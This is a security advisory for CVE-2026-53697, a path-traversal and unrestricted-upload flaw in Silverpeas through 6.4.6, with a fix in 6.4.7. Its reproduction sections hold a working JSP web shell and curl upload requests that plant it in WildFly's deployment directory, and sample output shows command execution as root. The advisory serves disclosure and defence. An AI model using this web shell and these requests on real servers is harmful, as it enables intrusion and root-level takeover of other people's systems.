CVE-2026-53697: Unrestricted File Upload to Remote Code Execution in Silverpeas

Summary

uploadWebsiteFile.jsp in Silverpeas through 6.4.6 writes uploaded files to a location supplied through the attacker-controlled Path parameter. File-extension restrictions were enforced only in client-side JavaScript. An authenticated low-privilege user can write a JSP or WAR payload into the application server’s deployment directory and achieve remote code execution.

Field	Details
CVE	CVE-2026-53697
Weaknesses	CWE-22: Path Traversal; CWE-434: Unrestricted Upload
Affected versions	Through 6.4.6
Fixed version	6.4.7
Required access	Low-privilege authenticated account
CVSS 3.1	9.9 Critical; `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`
CVSS 4.0	9.4 Critical; `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`

Technical details

uploadWebsiteFile.jsp reads the destination directory from the request and passes it directly to File:

String thePath = request.getParameter("Path");

String fichierName = FileUploadUtil.getFileName(fileItem);
File fichier = new File(thePath, fichierName);
FileUploadUtil.saveToFile(fichier, fileItem);

The normal application flow calculates a repository path before forwarding the upload. That protection exists in the calling pages, not in uploadWebsiteFile.jsp itself. A direct request can therefore replace the expected repository path with any directory writable by the application server. The file-type check also runs in client-side JavaScript:

if (ext.toLowerCase() != "gif" && ext.toLowerCase() != "jpg" &&
    ext.toLowerCase() != "bmp" && ext.toLowerCase() != "png" &&
    ext.toLowerCase() != "pcd" && ext.toLowerCase() != "tga" &&
    ext.toLowerCase() != "tif" && ext.toLowerCase() != "swf") {
  notyError("Unsupported file type");
}

Sending the multipart request directly bypasses this browser-side restriction.

Reproduction

The vulnerable JSP requires an authenticated session and the session’s X-STKN CSRF token. A single upload of a prebuilt WAR is enough to demonstrate the full impact:

curl -k -X POST \
  -b 'JSESSIONID=<session>' \
  -H 'X-STKN: <csrf-token>' \
  -F '[email protected];filename=cmd.war' \
  'https://<target>/silverpeas/wysiwyg/jsp/uploadWebsiteFile.jsp?Path=/opt/wildfly/standalone/deployments/'

This request does not use the application’s upload form, so neither the intended repository path nor the client-side extension allowlist applies.

Upload request followed by the file appearing in the selected server directory — A direct request writes the supplied file to the Path directory

Building an exploded WAR through separate uploads

The same result can be demonstrated without transferring a prebuilt archive. WildFly accepts an exploded WAR directory containing a JSP, a minimal deployment descriptor, and a deployment marker. First, upload cmd.jsp into a directory named cmd.war:

<%
String command = request.getParameter("cmd");
if (command != null) {
  Process process = Runtime.getRuntime().exec(
      new String[]{"/bin/bash", "-c", command});
  java.io.BufferedReader reader = new java.io.BufferedReader(
      new java.io.InputStreamReader(process.getInputStream()));
  String line;
  while ((line = reader.readLine()) != null) {
    out.println(line);
  }
}
%>

curl -k -X POST \
  -b 'JSESSIONID=<session>' \
  -H 'X-STKN: <csrf-token>' \
  -F '[email protected];filename=cmd.jsp' \
  'https://<target>/silverpeas/wysiwyg/jsp/uploadWebsiteFile.jsp?Path=/opt/wildfly/standalone/deployments/cmd.war/'

Next, create WEB-INF/web.xml:

<?xml version="1.0"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="3.1"></web-app>

curl -k -X POST \
  -b 'JSESSIONID=<session>' \
  -H 'X-STKN: <csrf-token>' \
  -F '[email protected];filename=web.xml' \
  'https://<target>/silverpeas/wysiwyg/jsp/uploadWebsiteFile.jsp?Path=/opt/wildfly/standalone/deployments/cmd.war/WEB-INF/'

Finally, upload an empty cmd.war.dodeploy marker into the deployment directory:

touch cmd.war.dodeploy

curl -k -X POST \
  -b 'JSESSIONID=<session>' \
  -H 'X-STKN: <csrf-token>' \
  -F '[email protected];filename=cmd.war.dodeploy' \
  'https://<target>/silverpeas/wysiwyg/jsp/uploadWebsiteFile.jsp?Path=/opt/wildfly/standalone/deployments/'

After deployment, requesting the JSP executes the supplied command:

GET /cmd/cmd.jsp?cmd=id HTTP/1.1
Host: <target>

uid=0(root) gid=0(root) groups=0(root)

Remote code execution through the unrestricted upload path

Impact

A low-privilege user can write attacker-controlled content to any filesystem location available to the Silverpeas process. In the official Docker deployment, targeting WildFly’s deployment directory turns the arbitrary file write into operating-system command execution as root.

Remediation

Upgrade to Silverpeas 6.4.7 or later. The server must choose the upload root, canonicalize the final path, and reject destinations outside that root. File-type restrictions must also be enforced by the server. These checks need to exist in uploadWebsiteFile.jsp or a shared server-side upload function so that direct requests cannot bypass them.

Overview

Silverpeas

CVE-2026-53697: Unrestricted File Upload to Remote Code Execution in Silverpeas

Summary

Technical details

Reproduction

Building an exploded WAR through separate uploads

Impact

Remediation

References

​Summary

​Technical details

​Reproduction

​Building an exploded WAR through separate uploads

​Impact

​Remediation

​References

Summary

Technical details

Reproduction

Building an exploded WAR through separate uploads

Impact

Remediation

References